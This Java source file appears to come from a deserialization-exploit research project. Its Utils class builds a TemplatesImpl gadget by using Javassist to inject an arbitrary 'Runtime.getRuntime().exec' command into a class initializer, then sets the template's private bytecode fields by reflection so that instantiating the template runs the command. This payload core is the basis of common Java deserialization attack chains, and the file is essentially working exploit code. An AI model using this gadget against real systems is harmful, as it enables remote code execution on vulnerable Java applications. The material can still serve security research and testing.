package common;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;

public class Utils {

    public static TemplatesImpl getTemplates(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(POC.class.getName());
        String code = "Runtime.getRuntime().exec(\"" + cmd + "\");";
        ctClass.makeClassInitializer().insertBefore(code);

//        new FileOutputStream("POC.class").write(ctClass.toBytecode());

        TemplatesImpl templates = new TemplatesImpl();

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "POC");

        CtClass ctClass2 = pool.get(POC2.class.getName());

        Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        _bytecodes.set(templates, new byte[][]{ctClass.toBytecode(), ctClass2.toBytecode()});

        Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates, new TransformerFactoryImpl());

        Field _transletIndex = TemplatesImpl.class.getDeclaredField("_transletIndex");
        _transletIndex.setAccessible(true);
        _transletIndex.set(templates, 0);

        return templates;
    }

    public static byte[] getClassBytes(Class clazz) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(POC.class.getName());
        return ctClass.toBytecode();
    }

    public static class POC {

    }

    public static class POC2 {

    }

    public static void main(String[] args) throws Exception {
//        TemplatesImpl templates = getTemplates("open -a Finder");
//        templates.newTransformer();
        byte[] classBytes = getClassBytes(POC.class);
        ClassLoader loader = Thread.currentThread().getContextClassLoader();
        loader.loadClass("Foo");
    }
}
